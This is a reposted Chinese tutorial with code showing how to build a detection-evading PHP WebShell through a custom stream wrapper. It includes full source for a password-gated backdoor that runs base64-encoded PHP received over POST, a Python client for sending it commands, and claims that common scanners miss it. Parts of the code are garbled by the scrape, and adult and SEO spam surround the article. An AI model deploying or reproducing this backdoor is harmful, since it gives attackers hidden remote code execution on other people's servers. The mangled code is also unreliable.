婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁(yè) > 知識(shí)庫(kù) > PHP使用流包裝器實(shí)現(xiàn)WebShell的方法

PHP使用流包裝器實(shí)現(xiàn)WebShell的方法

熱門(mén)標(biāo)簽:電信外呼系統(tǒng)多少錢(qián)一個(gè)月 桂陽(yáng)公司如何做地圖標(biāo)注 合肥企業(yè)外呼系統(tǒng)線路 代理打電話機(jī)器人 太原400電話申請(qǐng)流程 萍鄉(xiāng)商鋪地圖標(biāo)注 企業(yè)400電話辦理多少費(fèi)用 神龍斗士電話機(jī)器人 宿州正規(guī)外呼系統(tǒng)軟件

0×00 前言

在Web安全領(lǐng)域WebShell的構(gòu)造與查殺是永不停息的話題,這幾天發(fā)現(xiàn)了一種新型方式生成WebShell,隱蔽度高,目前安全查殺軟件沒(méi)法檢測(cè)到相關(guān)的后門(mén)漏洞,不同于 eval 或則 asset 等方式運(yùn)行后門(mén),對(duì)于這兩個(gè)函數(shù)禁用的情況下一樣適用,目前除了禁用相關(guān)函數(shù)還暫時(shí)沒(méi)有相關(guān)方式來(lái)避免漏洞。

0×01 后門(mén)原理

在PHP開(kāi)發(fā)中,我們使用最為頻繁的指令大概就是 include 指令, include 指令中一些比較普通的文件包含漏洞我們就忽略了,先來(lái)看看一串代碼:

include 'http://www.test.com/code.php'

我們通過(guò)這一串代碼可以很容易的引用外部的PHP程序,但是前提是配置文件允許該行為被執(zhí)行,先看看我的配置項(xiàng)

;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

從配置文件可以看到,allow_url_include 被我關(guān)閉了,也就是包含遠(yuǎn)程代碼是不可能執(zhí)行的,但是我們這里利用了一個(gè)東西。http:// 流,我們知道,在PHP中很多東西都是可以通過(guò)流包裝器來(lái)使用的,比如常見(jiàn)的 php:// 流,我們可以通過(guò) php://input 來(lái)獲取輸入流來(lái)讀取請(qǐng)求體的內(nèi)容,那么根據(jù)這個(gè)思路,我們能不能通過(guò)流包裝器來(lái)實(shí)現(xiàn)代碼執(zhí)行?答案是可行的 通過(guò)PHP函數(shù) stream_wrapper_register 注冊(cè)包裝器,檢測(cè)特定的URL包裝功能,監(jiān)控 include 流,在 include 流中動(dòng)態(tài)生成PHP代碼,我將通過(guò)如下代碼執(zhí)行一個(gè) hello world 程序來(lái)證明這個(gè)過(guò)程

include 'hello://dxkite';

Hello Stream Wrapper 的實(shí)現(xiàn)

code = "position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 public function stream_stat()
 {
  return stat(FILE);
 }
}
stream_wrapper_register('hello', HelloStream::class);
include 'hello://dxkite';

通過(guò)如上的代碼,經(jīng)過(guò)執(zhí)行后,可以輸出一個(gè) hello worldHelloWorld

 

0×02 后門(mén)示例

通過(guò)上述程序,我們實(shí)現(xiàn)了通過(guò) include 指令直接執(zhí)行 php ,并插入我們想要的效果,我們現(xiàn)在根據(jù)這個(gè)原理寫(xiě)一個(gè)Shell:

后門(mén)程序

@link //dxkite.cn
 */
class ShellStream
{
 protected $position;
 protected $code;
 public function stream_open($path, $mode, $options, $opened_path)
 {
  $url = parse_url($path);
  $name = $url["host"];
  $this->code = base64_decode($name);
  $this->position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 // include
 public function stream_stat()
 {
  return stat(FILE);
 }
 // file exists
 public function url_stat(string $path,int $stat)
 {
  return stat(FILE);
 }
 public static function shell(){
  stream_wrapper_register('shell', ShellStream::class);
  if (isset($_POST['password'])  $_POST['code']) {
   if ($_POST['password']=='dxkite') {
    $code = $_POST['code'];
    include 'shell://'.$code;
   } else {
    include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
   }
  }
 }
}

ShellStream::shell();

 

上述我實(shí)現(xiàn)了一個(gè)使用 $_POST 作為輸入,接收密碼和php代碼的base64并執(zhí)行代碼的后門(mén)利用程序

import requests 
import base64
import sys
def send_raw(url,password,cmd):
 res=requests.post(url,{
  'password':password,
  'code': base64.b64encode(cmd.encode('utf-8')) 
 })
 return res.text
def send_php_shell(url,password,cmd):
 return send_raw(url,password,'')
  if cmd == 'exit':
   break
  elif cmd.startswith('run'):
   cmd,path = cmd.split(' ',1)
   code = ''
   with open(path) as f:
    for line in f:
     code = code + line + "\r\n" 
   response = send_raw(url,password,code);
   print(response)
  else:
   response = send_php_shell(url,password,cmd);
   print(response)

我們把我們的 shell.php 部署到服務(wù)器上,執(zhí)行測(cè)試 shell.py :

php-shell.png

其中,test.php 的內(nèi)容為:

?php
 include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs';
 echo 'hello, shell world';

0×03 后門(mén)查殺

百度在線掃描

 

安全狗本地掃描

 

總結(jié)

以上所述是小編給大家介紹的PHP使用流包裝器實(shí)現(xiàn)WebShell的方法,希望對(duì)大家有所幫助,如果大家有任何疑問(wèn)歡迎給我留言,小編會(huì)及時(shí)回復(fù)大家的!

您可能感興趣的文章:
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • PHP webshell檢查工具 python實(shí)現(xiàn)代碼
  • phpMyAdmin 后臺(tái)拿webshell

標(biāo)簽:崇左 白銀 太原 廊坊 辛集 綏化 衡陽(yáng) 鄂州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PHP使用流包裝器實(shí)現(xiàn)WebShell的方法》,本文關(guān)鍵詞  PHP,使用,流,包裝,器,實(shí)現(xiàn),;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PHP使用流包裝器實(shí)現(xiàn)WebShell的方法》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于PHP使用流包裝器實(shí)現(xiàn)WebShell的方法的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    主站蜘蛛池模板: 新干县| 呼伦贝尔市| 乌拉特中旗| 金华市| 纳雍县| 祥云县| 双柏县| 西贡区| 崇阳县| 城口县| 韶山市| 五原县| 海原县| 安康市| 北流市| 澄城县| 太仓市| 蒲江县| 祁阳县| 庄浪县| 邯郸县| 桑植县| 康乐县| 湖北省| 大足县| 阳新县| 敖汉旗| 普格县| 陆丰市| 诸城市| 五大连池市| 张家口市| 子洲县| 兴海县| 紫云| 寻甸| 胶州市| 奉化市| 鞍山市| 上蔡县| 鸡东县|